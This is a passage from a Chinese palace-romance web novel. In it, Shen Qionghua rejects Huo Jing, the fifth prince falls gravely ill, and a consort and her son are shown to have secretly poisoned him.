沈琼华似是也察觉到了他的情绪,收回视线,转过身道:“霍公子不是有话对我说吗?说吧。” 空气中又安静了一会儿,霍璟这才开口,他嘶哑着嗓音道:“沈小姐,你……你还伤心吗?” “是有些伤心,你想如何?”沈琼华淡淡道,眼底却划过一抹不忍与无奈。 霍璟没想到沈琼华会反问他,连忙道:“你,你别伤心,瑞王吉人自有天相,会平安归来的,即……” 霍璟顿了顿,接着道:“即便是瑞王为国战死,你也还有我,我会一直陪在你身边……直到你走出伤痛……为止。” 说完,见沈琼华一直直勾勾地盯着他,心里一慌,忍不住又道:“沈小姐,我们认识这么久,你真的对我没有一丝一毫的感觉吗?” 沈琼华心中一暗,并未回答霍璟的问题,反而说起了别的,“霍公子,你知道吗?我听到瑞王重伤失踪消息的那一刻晕倒了。” “啊,你没事吧?你现在好了吗?你……”剩下的关心的话霍璟说不出来,整个人似乎都定住了一般。 半晌后,他才苦笑一声,道:“我明白你的意思了,是我妄想了,总觉着你一日不曾定亲,我就总还有机会。” “不,不是你,是我的问题。”沈琼华垂头,盯着自己的鞋尖,轻声道:“是我自己一直在逃避自己的情感。” “我以为我不在乎,以为我无所谓,但是身体的反应却给了我重重一击。” “那种剜心之痛,使我再也骗不了我自己。” “对不起,几次见面都害得你被他针对。” 沈琼华也不知晓她为何今日要与霍璟说这些。 她原本不想闹得这样难看的。 她原本想体体面面的。 想着等霍璟得不到她的回应,时间长了自然而然就放弃了。 毕竟如今日一般摊开来说,着实是令双方都有些难堪和尴尬。 可是,不知为何。 方才在街上霍璟关心询问她时,她兀地就想到了谢南渊。 不知道他还活着没有,不知道他还能不能平安归来,若是真的死了,不知道镇国公能不能找到他的尸首,将他带回来。 心中没由来地涌出一股郁气,随即化为冲动。 那一刻,她特别想跟霍璟将话说清楚。 哪怕她知道她这样做可能会在一定程度上伤害霍璟。 但她管不了那么多了。 也不想管。 说出口的那一刻,她觉得十分轻松。 她说这些话,并不代表若是谢南渊平安回来就一定会与他在一起。 她从前的顾虑仍然存在,并不会随着此次危机而消失。 那些顾虑,注定使得她在情感上洒脱不了。 她只是想,将自己的情感捋顺一些。 好像这样,她心里就能好受一些。 这一瞬,沈琼华都觉得自己分外矫情。 她什么时候变成这个样子了? 这么……不清醒,不冷静,感情用事了? 对于沈琼华的道歉,霍璟也只能苦笑了。 若是可以,他真不想从沈琼华嘴里听到沈琼华这种话。 从沈琼华道歉的话说出口的那一刻,她在心里就已经偏向了瑞王了。 可笑方才他还在想着,若是他在这种情况下陪伴在沈琼华身边,安慰她,鼓励她。 沈琼华是不是就能多看他一眼,就能接受他了。 终究是他妄想了…… 霍璟艰难开口道:“沈小姐,你真的不用对不起,其实我一早就看出来了,你与瑞王之间并不是一厢情愿。” “你心中也是有他的。” 第三百四十四章连同他的那份一起算上 霍璟说出这句,心中长舒一口气的同时,又有些酸胀。 他终于不用再自欺欺人了。 能够通过科举入朝为官的,又有哪个是蠢货呢? 沈小姐与瑞王二人是当局者迷,可他这个局外人却早已看得一清二楚。 只是他不愿意承认,总觉着这二人之间没有说开,他就还有机会。 如今沈小姐既然认清了自己的内心,还这般郑重其事说与他听,他知晓,他是彻底没有机会了。 如此也好,省得他心怀妄想,也能够收收心,一心扑在朝堂之上,撑起霍家的门楣。 霍璟这般安慰自己,可满脸的失落遮都遮不住。 沈琼华听到霍璟说的话,却有些意外,“你……你知道……?” 霍璟为何会知晓她的心思? 她与霍璟自谢南渊对她坦白心意以来,也没有见过几面吧? 她的心思,有那么明显吗? 她觉得她隐藏得挺好的呀。 沈琼华的手控制不住抚上自己的脸。 意识到自己在做什么后,浑身一僵,又赶紧将手放了下来。 霍璟露出一抹勉强的笑,满嘴苦涩地开口道:“是的,我都知道。” “喜欢一个人,即便是再无意识,那些细小的举动还是能暴露出她的真实想法的。” “就像之前瑞王几次言语上刁难我,沈小姐恐怕也没有意识到,你的第一反应不是替我说话,而是向我道歉。” 从她替瑞王向她道歉的那一刻起,在她的心中,瑞王与她的关系就已经比他与她的关系要亲密了。 还有些话,霍璟没有说出口。 那些她阻止瑞王继续刁难他的制止却又透着几分亲密的举动,斜眼瞪瑞王时下意识露出来的娇态…… 都足以证明瑞王在她心中不一般的地位。 更让他一直逃避的,是沈琼华对于他和瑞王坦白心意后的明显态度区别。 那日,在画舫上,他向沈琼华表达求娶的意愿后,沈琼华当即就拒绝了他,没有丝毫拖泥带水。 而瑞王几次三番刁难于他,他不信沈琼华看不出瑞王是吃醋了,可事后沈琼华与瑞王的关系仍然亲昵。 那时,他便已经知晓他与沈琼华之间的结局了,只是不到最后一刻,总是心存妄想。 这一次,瑞王失踪,他以为他的机会来了,却没想到等到的是沈琼华彻底与他划清界限。 霍璟心中愈发酸涩了。 若是沈琼华知晓霍璟的心中所想,当真是要大呼冤枉。 她怎么没有拒绝谢南渊? 她分明拒绝了不止一回了,甚至一直躲着谢南渊,后来更是从洛希瑶那借了好几个暗卫来监视谢南渊的行踪,以免被他逮个正着。 能到如今这地步,都是谢南渊那厮没脸没皮,理直气壮夜闯人闺房,犹如狗皮膏药一般缠着来的。 她一开始对谢南渊是真没有这心思。 随着霍璟话音的落下,雅间内寂静无声。 沈琼华听到这话也不知自己该说什么,只能讷讷地又说了几声对不起。 “霍公子,你……是个好人,只是你我注定无缘。” “你年少中举,入朝为官,家境殷实,才学出众,仪表堂堂,将来定会有比我好十倍,百倍的女子等着你的。” “沈家只是一商户,我有比情爱更重要的事情要去做,你实在是不必在我身上浪费时间。” 看着沈琼华有些愧疚与不安的神情,霍璟突然一下子就释怀了。 罢了,沈琼华又有什么错呢? 她只是不喜欢自己罢了,早也就拒绝了他,是他自己不死心,死缠烂打,怎么能怪得了她呢。 要怪,也只能怪他自己痴心妄想。 霍璟逼自己挤出一抹笑,道:“沈小姐,你不必如此歉疚,说到底,你也没有向我承诺过什么,一切都是我自己一厢情愿,不过……” 他长长舒出一口气,道:“不过既然已经说开了,我也就死心了,那就借沈小姐吉言,我也相信我将来能找到一个温婉贤淑的妻子。” 沈琼华听到后面一句话,心里的大石头才终是落了地。 她笑着道:“一定会的。” 霍璟看着沈琼华的笑颜许久,这才道:“那咱们以后还是朋友,遇见了还能打个招呼?” 沈琼华轻笑,“自然。” “那好,若是以后阿逸课业上还有什么不懂的,也可来问我。”顿了顿,又道:“让他直接来霍府找我便是,省得某些人又要误会了。” “既如此,那我就提阿逸多谢霍公子了。”沈琼华道。 霍璟点点头,随后又有些迟疑道:“沈小姐,你既已明白了自己的心意,这本是好事,可如今……” 霍璟似是有些难以开口道:“若是瑞王不能平安回来,你当如何?” “不会的,我相信他,他会平安回来的。”沈琼华斩钉截铁道,眼神执拗。 霍璟见她这副样子,也不敢再说什么话刺激她,只能附和道:“对,瑞王是为了保卫大越才失踪的,我也相信他定能平安归来。” 该说的话说完了,孤男寡女共处一室到底不太好,霍璟为了沈琼华的名声着想,很自觉地就要转身开门将洛希瑶喊进来。 就在他转身的一刹那,一道飘渺的声音从背后传来,“即便他真的回不来了……” 霍璟脚步一顿,返头问道:“什么?” 沈琼华眼神坚定,“若他真的回不来了,我也会朝既定的目标前进,连同他的那份一起算上。” 这话说得云里雾绕的,霍璟没有听懂,但他直觉沈琼华目前的状态不太对。 下意识劝慰道:“沈小姐,你也别太伤心,如今没有消息便是好消息,你们……今后一定能在一起的。” 要霍璟说出这话,实在是有些艰难。 “不,不会的。”沈琼华道。 这下轮到霍璟摸不着头脑了,“不会什么?” 不会与谢南渊在一起的。 她今日与霍璟说这一番话,并不是因为她要与谢南渊在一起了,所以与他撇清关系。 只是她当时心里难受,想这样做,便做了。 她与谢南渊之间的问题,身份的差距,并不会随着她与霍璟今日的这一番谈话就烟消云散。 即便是谢南渊回来了,他们的关系也不会改变。 她,决不能走上一世的老路。 这是沈琼华这几日想出来的。 只是这些话,不适合与霍璟说。 第三百四十五章五皇子生病 霍璟见沈琼华默不作声,还以为自己说话刺激到她了,连忙打开门,让洛希瑶进来安抚沈琼华。 洛希瑶正扒着门缝偷听,整个人都贴在门上。 霍璟这一打开门,差点让其摔到地上。 洛希瑶跌跌撞撞走了好几步,这才站直了身子,看着霍璟诧异的目光,轻咳一声,辩解道:“那什么,你们聊得太久了,我靠着门都要睡着了。” 霍璟指了指沈琼华,正要说什么,抬眼看去,就见沈琼华的神色已经恢复了正常。 洛希瑶上前挽住沈琼华的胳膊,道:“你们谈完了没有?” 沈琼华斜睨了她一眼,洛希瑶摸摸鼻子,自顾自的接话道:“既然谈完了,那咱们就走吧。” “霍公子,我跟琼华就先走了。” 介于方才听到的话,洛希瑶现在对霍璟的态度不是一般的好。 沈琼华微微屈身行了一礼,“霍公子告辞。” 霍璟连忙躬身拱手回礼,目送二人离开。 沈琼华与洛希瑶一道出了酒楼,洛希瑶此刻还难掩心中的激动。 她挽着沈琼华的手臂正想要说些什么,可触及对方有些失魂的眼神时,顿时犹如一盆凉水浇下,从头凉到了脚。 是啊,她现在这样激动有什么用,表哥还不知能不能活着回来呢。 她现在提及这种事情,跟在琼华伤口上撒盐有什么区别? 还是等表哥平安从边关回来之后再说吧。 洛希瑶打定了主意,将到嘴的话咽了回去,打起精神,佯装一副很感兴趣的样子,拉着沈琼华东看看,西看看。 等霞光染红了半边云时,二人坐上离开的马车,沈琼华的情绪已经肉眼可见的好多了。 洛希瑶这才放下心,回了镇国公府。 —— 接下来的几日里,日子照旧过着。 边关也并没有军报传回来,皇上过问谢南渊的消息,得到的结果也只是扔在搜寻中。 对于这个结果,皇上只能怒斥边关的人无能,其余的什么也做不了。 沈琼华从一开始的等待,彻夜难眠,随着时间的推移,慢慢地变得麻木,有时坐在屋中盯着一盆花都能看两三个小时。 她几乎已经不抱有希望了。 那样恶劣的环境下,十多日都未曾有消息,如何还能活着。 但心底却又藏着一丝希冀。 她告诉自己,只要一日未曾见到尸骨,就不算真的死了。 沈琼华一边安慰着自己,一边因顾及着林婉茹和沈逸,强迫自己按时进食,可是仍旧以肉眼可见的速度消瘦了下来。 下巴尖尖的,硌得慌。 洛希瑶有时来沈府看她,见她这副样子心里都担忧不已。 想要安慰劝诫几句,偏偏沈琼华打死不承认是伤心担忧所致,非说是觉得之前圆润了一些最近特意克制的。 嘴比石头还硬。 将洛希瑶气得不行。 可又拿沈琼华毫无办法。 只能多抽出些时间来陪沈琼华。 偏偏沈琼华还不领她的好心,说她耽误她处理沈家铺子的账目了,往往没坐一会儿就将她赶走了。 对此,洛希瑶颇有些无可奈何。 洛希瑶自己最近这段时间也不好受,仍旧是每日天一亮就往宫里跑。 算是在皇后的凤仪宫里扎下了根,比永乐公主待的时间还多。 就盼着哪一日有谢南渊的消息,能够第一时间知晓。 可是每每都失望而归。 每日出宫的路上还会遇到安乐公主,对她极尽挖苦。 她极尽忍耐,当对方在放屁。 偶尔遇见五皇子,对方跟她一样丧着一张苦瓜脸,且一次比一次难看。 刚开始洛希瑶还嘲笑对方脸色像鬼,可慢慢的自己也笑不出来了。 后来有好几日洛希瑶都未曾见到五皇子,还在心中暗暗纳闷。 直到有一日,宫内传言五皇子病了。 洛希瑶本着关怀小孩的想法,离宫的途中,绕路前往了五皇子所住的寝殿去探望他。 五皇子本就与谢南渊走的近,与洛希瑶也多有来往。 他身边的内侍都是识得洛希瑶的,往日里洛希瑶要见五皇子,只要告知一声,大多会放行。 可是今日却不同,离寝宫还有一段距离就被拦下了,周围还多了许多侍卫,有些面孔有些熟悉,敲着像是御前的人。 难道皇上在里面不成? 洛希瑶正思索着。 屋内便传来了男子怒斥的声音。 因隔着距离远,洛希瑶听不清说了什么,但依稀能从方才的声音中分辨出男子的身份,正是当今皇上。 洛希瑶蹙眉,有些担忧。 谢小五都生病了,即便是哪里做的不对,皇上也不该如此训斥他才是。 万一谢小五伤心害怕之下,病得更重了怎么办? 可洛希瑶也只能在心里想想,做不了什么。 镇国公府虽然权势大,但若是连皇上如何管教皇子都要插手,那才真的是上赶着找死。 皇上在里面,显然是探望不了的。 洛希瑶正琢磨着是在这等皇上走了,再进去探望,还是打道回府,明日再来,便见寝殿的门打开了,一个内侍打扮的小太监将一个太医送了出来。 那太医佝偻着身子,满头虚汗,走路踉踉跄跄的,显然是吓得不轻的样子。 洛希瑶拧眉,发觉事情不简单。 难道方才皇上呵斥的是太医吗? 若真是如此,那谢小五的病…… 那小太监正要转身关门,余光正好瞥见了被拦下的洛希瑶。 他脚步一顿,轻轻关上门,随后朝洛希瑶走去。 洛希瑶是认识这小太监的,这小太监一直跟在谢小五身边,贴身伺候谢小五,洛希瑶见过他很多次。 此刻见他走过来,正想问什么,小太监便先开口打断了她,“平宁郡主,您怎么在这,是来见我们殿下的吗?我们殿下眼下不得空,你改日再来吧。” 说着,别有深意的眨了眨眼。 洛希瑶立刻会意,道:“哦,好的,那既然如此,本郡主改日再来探望五皇子吧,本郡主也到了该出宫的时辰了。” 说完,就离开了。 也不知过了多久,洛希瑶腿都站麻了,才看见帝王的仪仗缓缓离去。 洛希瑶缓了一会,这才重新朝五皇子的寝殿走去。 这一回,她没再被阻拦。 当她看见五皇子的第一眼,便忍不住惊呼道:“谢小五,你做什么了!” “才几日不见,你怎么就病成这样了?” 第三百四十六章五皇子命不久矣! 五皇子一袭白衣躺在雕花大床之上,红色的锦被将他肩部以下包裹得严严实实,与他露出来的惨白的脸色形成了鲜明的对比。 他眉头紧蹙,面露痛苦,不停地咳嗽着,原本红润的唇瓣如今干裂苍白,整个人看起来都像是病入膏肓的样子。 哪还有之前活泼健硕的模样。 洛希瑶盯着五皇子眼下的青黑,忍不住道:“你这副尊荣,跟鬼也差不了多少了。” 看见洛希瑶,五皇子原本无神的双眼陡然一亮,就想开口就听见洛希瑶的话。 心里气得不行,想要反击,喉咙却又泛起一阵痒意,令得他不得不偏头。 左手握拳抵在唇边,拼命地咳嗽着,似是要将心肝肺都要咳出来似的。 他这副样子将洛希瑶吓了一大跳,连忙上前坐在脚踏上轻轻拍拭他的背部,直至五皇子的咳嗽声渐渐停了,这才收回手,松了一口气。 洛希瑶心有余悸地抚着自己的心口,暗自嘀咕道:“我滴个乖乖,吓死我了,这要是死在了我面前,我可真洗不清了,皇上还不得将我抓进地牢严加审问。” 五皇子刚缓过来一口气,听见洛希瑶的话,喉间的痒意似是又涌了上来。 他忍了又忍,才将那股痒意压了下来。 他没好气地开口,声音里都透着股虚弱,“平宁姐姐,你真的是来探望我的吗?” “我怎么觉着我还没病死,就要被你气死了。” 听到五皇子这话,洛希瑶这才反应过来自己将心里话说了出来。 她有些心虚地吐了吐舌头,尴尬地笑了笑,“莫气莫气,气坏了身子多不值当。” 随后立刻便转移了话题,神色凝重道:“这到底是怎么回事?这才多久的功夫,你怎么就病成这样了,看着……” 看着像快断了气一样…… 这句话洛希瑶没有说出口,觉着有些不吉利。 即便是洛希瑶没有点明,五皇子也明白了她的意思,顿时苦笑了一声道:“我也不知道为何,突然就病倒了。” “我这段时间,夜里总是睡不着,一闭眼,我就梦见了尸横遍野的战场,血流了一地,与地上还未融化的雪花混合在一起。” “那些死去的将士的尸体都冻得僵硬了,有些合不上眼的,漆黑的眼睛都死死地盯着我,我挪两步,他们的眼珠还会随着我的动作而转动。” “我害怕极了,拼命喊三哥,却怎么也得不到回应,我一直找一直找,却只找到了三哥的尸体。” “三哥……三哥的头颅被割下,四肢也被砍断了,死状极惨……” “平宁姐姐,你说三哥会不会真的回不来了。”五皇子仰着一张苍白的脸,瞳孔里都是悲伤。 洛希瑶心尖一颤,听着五皇子的描述,自己先起了一身的鸡皮疙瘩。 心中担忧不已,却还是强忍着情绪安抚五皇子,“不会的,不会的,表哥一定会平安归来的,你别自己吓自己,对,别自己吓自己。” 那模样,也不知是对五皇子说的,还是对自己说的。 五皇子接着道:“太医说,我是伤心担忧过度,食欲不振又未曾歇息好,再加上冬日寒凉,感染了风寒,这才病倒了。” “几日过去了,一日三服药喝着,可就是不见好,反而咳得越来越严重了。” “怎么会?”洛希瑶眉头紧蹙,“太医院的太医医术比外头的绝大部分大夫都要好,怎会连一个小小的风寒都治不好?” “难道是诊断有误?亦或是方子有错?” 这不应该啊。 五皇子也不知晓为何会这样,摇了摇头道:“连太医院的院正都来看过了,也只说是风寒之症。” “父皇见我咳得难受,怕这样下去会损耗身体,命令太医赶紧将我治好。” “可方子没有错,太医也找不出缘由为何我喝了药不见好,只能先斟酌着细改了一下方子,让我先喝着药,若是过段时日还不见好,再想别的法子。” “父皇也是担忧我,这才迁怒于太医。” 说到这,洛希瑶总算是知道皇上为何发那么大的火了。 太医院的太医拿着朝廷的俸禄,却连一个小小的风寒都治不好,让谢小五咳成这样,皇上身为父亲,自然着急。 只是若真只是小小风寒,太医院的太医又怎会治不好呢? 太医院的太医应当不会这么无用的吧? 洛希瑶心里闪过一丝怀疑。 随即又轻拍了一下自己的脑门。 她想什么呢。 谢小五不过是一个孩童,又不参与储位之争,谁还会吃饱了撑的对一个孩子下手不成? 她可真是越来越疑神疑鬼了。 洛希瑶压下心里的怀疑,伸手在五皇子惨白的小脸上轻轻捏了一下,“谢小五,你可要快点好起来啊,与我一起等表哥回来。” 五皇子重重点头,这次倒没拍掉洛希瑶的手。 五皇子生病未愈,精神看起来也不太好,洛希瑶怕打扰他休息,再者,这是在宫中,人多眼杂,不宜久待。 于是又说了几句劝慰他的话,让他不要整日胡思乱想,好好养病,早点痊愈,就出了宫。 接下来的几日,洛希瑶还是每日都进宫。 除了等待谢南渊的消息之外,还有一件事情,那就是打探五皇子的病情。 不是洛希瑶不愿意绕路去探望五皇子,实在是没有办法。 一来,谢小五年岁渐大,如今也一十有一了,她虽然是将谢小五将弟弟看待,谢小五也将她视作姐姐,但这是在宫中,到底人言可畏,总要顾忌些,不好每日去探望。 这二来,自那日她从皇宫回来之后,也许是谢小五的病情加重了,皇上下旨任何人不得打扰谢小五养病。 便是洛希瑶也不敢明面上违背旨意,只能进宫时偷偷跟谢小五身边的内侍打探一下情况。 当然谢小五也是知情的,还总是让内侍带话给她。 不过让洛希瑶奇怪的一点是,宫中不知为何传出了这样一则谣言: 皇上下旨不让人打扰五皇子养病,明面上是为五皇子着想,实际却是五皇子惹怒了皇上,所以才在病重时被皇上圈禁,皇上这是彻底要放弃五皇子了,就如同当初的四皇子一样。 洛希瑶听到这谣言时,只觉得离谱至极。 其他人不知晓,但她经常与谢小五的内侍见面,自是知晓皇上几乎每日都会去探望谢小五的。 传出这个谣言的人简直是不安好心! 洛希瑶一开始怒火中烧,恨不能进宫为谢小五正名。 可气过之后又觉着这样也好。 眼下表哥下落不明,安王一党势大,谢小五暂时躲避锋芒也好,省得安王看谁都像是想与他争储君之位一样。 犹如疯狗一般乱咬人。 只是道理都懂,心理上咽不下这口气,憋屈得不行。 洛希瑶都怀疑她今年是不是与太岁犯冲,哪哪都不顺。 洛希瑶心情不顺,连带着傅琛都没得几个好脸色。 自边关开始打仗,兵部便忙得不行,傅琛整日都被亲爹指挥得团团转。 好不容易才抽出时间来镇国公府见洛希瑶,还没得几个好脸色,直苦笑不得,却也只能哄着洛希瑶。 生怕又惹得这个小祖宗生气。 气大伤身。 气坏了身体就不好了,到时心疼的还是他。 就在洛希瑶憋憋屈屈过着日子时,宫内传出的一则消息打得洛希瑶一个措手不及,毫无防备。 五皇子咳血了!太医断言若是再治不好,就将命不久矣了! 第三百四十七章她就是个废人! 洛希瑶听到这消息,还以为是自己听错了。 直至再三确认,才敢相信这是真的。 当即就进了宫,想要去看谢小五。 毫无意外,又被拦在了寝殿之外。 皇上不允许人探望五皇子可不是嘴上说说而已,是真的派了一队御前侍卫守在五皇子的寝殿外围。 之前洛希瑶见谢小五的内侍都是事先便约好时间地点,内侍从寝殿出来回禀洛希瑶。 五皇子是不能外出的。 之前那则谣言,正是以此为依据。 而五皇子不能外出的命令,仿佛侧面证实了那则谣言似的。 洛希瑶此番进宫是焦急关心之下临时起意,自然也是见不到五皇子的。 便是连那内侍,都没有与之约好。 洛希瑶正暗自着急,想着如何才能见谢小五一面,眼前却突然出现了一道身影。 她双眼一亮,连忙跟着对方走了。 —— 宫墙的偏僻角落处。 洛希瑶焦急地问那内侍,“五皇子的病情到底怎么样了?命不久矣的消息是假的对不对?” 那内侍转过身,洛希瑶才看清对方通红的眼,心里顿时咯噔一声。 一股不好的预感涌上心头。 不……不会吧? 可惜,洛希瑶注定要失望了。 只见那内侍哽咽道:“回平宁郡主的话,是真的,都是真的,殿下这几日消瘦了许多,风寒未曾有一丝好转,反而愈加严重,殿下也由一开始的单纯咳嗽转为咳血,太医……” “太医说,若是再这样下去,殿下可能会生生咳血而亡的!” 最后一个字落下,洛希瑶顿时连连倒退了好几步,满眼不可置信。 咳血而亡…… 怎么可能? 谢小五的病怎会这般严重? 洛希瑶虽然是因着谢南渊的关系才与五皇子亲近的,但这么多年下来,她也早已视对方如亲弟。 她自幼没有其他兄弟姐妹,唯有表哥一人可以亲近。 但对方是哥哥,她是妹妹,有着天然的压制,表哥更多时候是替爹在管束着她。 唯有谢小五,因着年纪小,没有皇子的架子,还可以任由她欺负。 即便是随着年纪逐渐长大,她不能再像他幼时那般欺负他,但在她的心中,她们早已是姐弟了。 可是如今,却告知她,这个她视为亲弟的人竟然要死了? 还是以生生咳血而亡这种极为残忍的方式? 他还未曾长大,才堪堪十一岁啊! 洛希瑶喉咙间一片腥味,完全不能接受五皇子就这般死去。 “我……”洛希瑶想说有没有什么办法能让她进去看看谢小五。 可话到嘴边又咽了回去。 她进去看谢小五又有什么用呢? 她又帮不上忙,只能眼睁睁地看着谢小五咳血,说不定还要让病痛缠身的谢小五反过来安慰她。 她就是个废物! 表哥重伤失踪她只能待在京城干等,什么办法都没有。 谢小五病重咳血,她也只能束手无策地看着。 洛希瑶都不敢想象,若是等表哥归来后,却发现谢小五死了,表哥该是怎样的表情。 表哥虽然表面上冷冷的,但最是重感情不过。 这么多年,看似是谢小五一直粘着表哥,但以表哥的性格,他若是不想搭理谢小五,谢小五是根本找不到机会缠上表哥的。 更别提说给谢小五讲军营中的事情。 这是她年少时都不曾有过的待遇。 再者,表哥也未必真的能平安归来。 若是表哥真的战死沙场,谢小五也病逝了,那岂不是就只剩她一人活在这世上。 只有她一人…… 洛希瑶瞳孔涣散,整个人都有些失魂落魄的,似是丢了魂似的。 “郡主……郡主……郡主您怎么了?” 洛希瑶的瞳孔重新聚焦,倒映出内侍惊慌的脸。 她有些艰难地吞咽了一下,将喉间的腥味压下,这才道:“太医……有没有说小五还有多长时间?” 内侍哽咽道:“太医说,若是还找不出解决的办法的话,可能……可能就这一个月了。” 一个月…… 洛希瑶犹如被巨雷击中一般,身形摇摇欲坠,被内侍扶着才没有跌落在地上。 似是映照着洛希瑶此刻的心情,天空突然下起了小雨。 豆大的雨水落在脸上,混合着洛希瑶的泪水一起砸落在地。 洛希瑶强撑着站稳身体,内侍脸上写满了担忧,“郡主……郡主可要见一见殿下?奴才可以想法子带郡主进去,殿下也牵挂着郡主呢。” “不……不用了。”洛希瑶甩开内侍的手,“你好好照顾小五,我……我先走了。” 说完,洛希瑶便踉踉跄跄地朝宫门走去,任由内侍在后头喊也不曾回头。 她有什么资格去看谢小五? 她就是个废人! 她根本救不了谢小五! 出了宫门。 洛希瑶一路淋着雨毫无目的地走着,婢女和马夫都在后头紧紧地跟着,生怕她出了什么意外。 不知不觉,洛希瑶就走到了沈府。 她缓缓上前扣响府门。 府门缓缓打开。 守门的小厮惊呼,“平宁郡主,下这么大雨,您怎么来了!” 一边将洛希瑶迎进来,一边派人赶紧去通知沈琼华。 洛希瑶一路朝沈琼华的院落走去,行至半路,便看见沈琼华。 芍药正打着伞,主仆二人往府门的方向赶。 沈琼华看见洛希瑶,面色猛地一变。 连忙上前将人带入伞下。 一边拿着帕子提洛希瑶擦拭脸上的雨水,一边问她发生什么事了。 洛希瑶的情绪再也绷不住了,‘哇’地一声就哭了出来,抱住了沈琼华。 第三百四十八章差错 雨愈下愈大。 雨水砸在地上发出的声响,挑动着延禧宫内本就有些烦躁的周贵妃的神经。 谢祁安沉眸坐在太师椅上,看着周贵妃躁动不安地走来走去,终是忍不住开口道:“行了,母妃,父皇暂时应当还没有起疑,您不必太过忧心。” 周贵妃撕扯着手中的帕子,面露担忧道:“话虽如此,但就怕这样下去,迟早有一日你父皇会起疑,亦或是中途又出了什么变故。” 听到周贵妃的话,谢祁安下意识拧眉,沉思片刻,还是开口道:“事到如今,也只能如此了。” “现如今五弟寝殿周围都是父皇安排的侍卫,还不许任何人前去探望,咱们也没办法再做什么手脚。” “更何况五弟如今的身体也经不起折腾了,若是再出手,五弟只怕一个月的时间都抗不过去,咱们还容易露出马脚。” “到时引得父皇起疑,剥丝抽茧查起来,咱们未必能全身而退。” “你说的这些,母妃如何能不知!”周贵妃在谢祁安身旁坐了下来,“但一个月的时间太长了,就怕你父皇万一贴皇榜找民间的名医给五皇子看病呢?” “那毒虽然罕见,但到底还是有些人认识的。” “怕就怕,有人看出来了。” “到时你父皇必会震怒,下令彻查。” 说到这,周贵妃便忍不住一掌拍在扶手上,保养得宜的面庞都有一瞬间的扭曲。 她咬牙切齿道:“都是那个小贱种,竟然还没有消息,临了了还能给咱们添麻烦!” 原本按照原计划,五皇子根本撑不到咳血就会死。 他会在得了风寒之后,缠绵病榻,咳嗽不止,日渐消瘦。 待瑞王身死的消息从边关传回来之时,情绪大悲之下,直接提前激发体内剩余的药效,直接便吐血而亡。 这样从明面上看,五皇子的死就与旁人没有丝毫关系。 完全就是他病重,一时接受不了瑞王死亡的消息,大悲之下伤心过度死的。 若是皇上发怒,也迁怒不到别人头上,要怪便只能怪已经死去的瑞王和传消息给五皇子的内侍。 周贵妃明明都算计得好好的,谢祁安给五皇子下药的时间也都是计算好的。 五皇子也确实如计划中的那样得了‘风寒’,一病不起,开始咳嗽。 便是连太医也如预料般没有觉察出五皇子的‘风寒’有任何不妥之处。 毕竟五皇子与瑞王兄弟情深,瑞王生死不知,五皇子夜夜梦见瑞王的死状,这病一直好不了不是很正常吗? 至于病得越来越严重? 没有误诊,方子也没有出错,那定然就是五皇子心中太过牵挂瑞王所致。 周贵妃和谢祁安算计好了一切,唯独没有料到谢南渊身死的消息迟迟没有传回。 时间一拖再拖,那药效在五皇子体内慢慢显现出来,五皇子开始咳血。 一旦到了咳血的地步,迟早都会瞒不住的。 谢祁安听到周贵妃的话,眼底闪过一丝阴郁。 谢南渊至今下落不明也是他心头的一块石头。 他沉吟片刻,道:“边关的将士,林将军的亲卫,以及我们派去的人,都未曾找到谢南渊的踪迹。” “整个人都好像人间蒸发了一般,这么多日过去了,这么多人手竟一无所获。” “即便是身死,也应该找到尸体才是。” 周贵妃正满肚子怨气,闻言,道:“这么冷的天,他又深受重伤,没有棉衣被褥,也没有饭食和伤药,这么多日过去了还能活着不成?只不过还没找着尸体罢了。” “这小贱种也不知道死在何处,这么多人都未曾将他的尸身挖出来。” “若是早些寻到,消息传回,五皇子听闻必定大悲,吐血而亡,咱们也就不必这般束手束脚,担心受怕了。” 谢祁安看了周贵妃一眼,却并不似她一般乐观,嗓音沉沉道:“不怕一万,就怕万一。” “说不定途中被人救了养伤也不一定,只有见到他的尸体,才能真正放下心。” “那小贱种能有这么好的运气?”周贵妃疑惑道,相比之下,她更倾向于另一种可能。 “你说,找了这么久都没有找到,那小贱种会不会是落单之时,被陈国的将领给抓了去?” “不会。”谢祁安笃定道。 周贵妃诧异地看了他一眼,“安儿,你为何这般笃定?” 谢祁安眼眸闪了闪,这才道:“眼下正是两国交战之际,若是谢南渊被陈国将领抓获,陈国皇帝不会如此安静,定会派人向父皇谈条件的。” 周贵妃点点头,觉得确实是有几分道理的,只是心下难免有些失望。 即便那小贱种没有死,是被陈国所捕也好啊。 那小贱种不是被称为战神么? 若是真被陈国所捕,这种消息传回来,也足够那小贱种身败名裂了。 周贵妃正暗自惋惜着,便见眼前一花。 “安儿?” 谢祁安站起身,掸了掸衣袖,道:“谢南渊的事情,儿臣自有定夺。” “至于五弟的事情,母妃勿要自己吓自己,事情还没到那一步,父皇未必会找民间的大夫。” “再说了,一般的民间大夫对毒术也少有涉猎,未必能看得出来。” “您越是慌乱,便越是容易在父皇面前露出破绽。” 也许是谢祁安的表情太过于镇定,周贵妃那原本有些慌乱的心也逐渐安定了下来。 她点了点头,道:“母妃都听你的。” 谢祁安又劝慰了周贵妃一番,待周贵妃彻底冷静下来,恢复了以往的从容,才离开了延禧宫。 一袭白衣,一柄竹伞,消失在了雨幕之中。 —— 竖日。 阴雨绵绵。 洛希瑶一袭低调的装扮站在一座偏僻宫殿的墙角处。 她时不时朝外望去,脸上满是焦急之色。 突然,她眼前一亮,似是看见了什么,连忙朝外走了几步,一道身影便跑到了她面前。 那熟悉的面孔,和清一色的服侍,正是京城与洛希瑶联系的五皇子身边的内侍。 内侍身上湿漉漉的,极为狼狈地朝洛希瑶行了一礼,“平宁郡主吉祥,郡主这么急着找奴才可是有什么急事?是事关殿下吗?” 洛希瑶点点头,神色急促道:“你可有办法带人进入五皇子的寝殿?” 面对洛希瑶如此突兀的问题,内侍微微一顿,随即点头,道:“郡主是想要进去看望殿下吗?可以是可以,但是可能需要委屈郡主换一身装扮了。” 得到肯定的答复,洛希瑶面色一喜,道:“可以就行,不过不是我要进去,是他!” 洛希瑶纤细葱白的手指猛地朝后一指。 内侍这才发现,不远处的阴暗角落处,还站着一人。 第三百四十九章哪一点像个大夫? 内侍眼中闪过一丝疑惑,“这……这人是谁?” 洛希瑶转头,却见一身着宫女服饰的宽阔身影背对着她,鬼鬼祟祟地往墙角里钻。 洛希瑶急忙上前走了两步,扯住那道身影的衣袖,将对方掰过身来。 “哎哎哎,你要干什么,我跟你说,我是有家室的人,你不要趁着我们家安锦不在对我拉拉扯扯!” 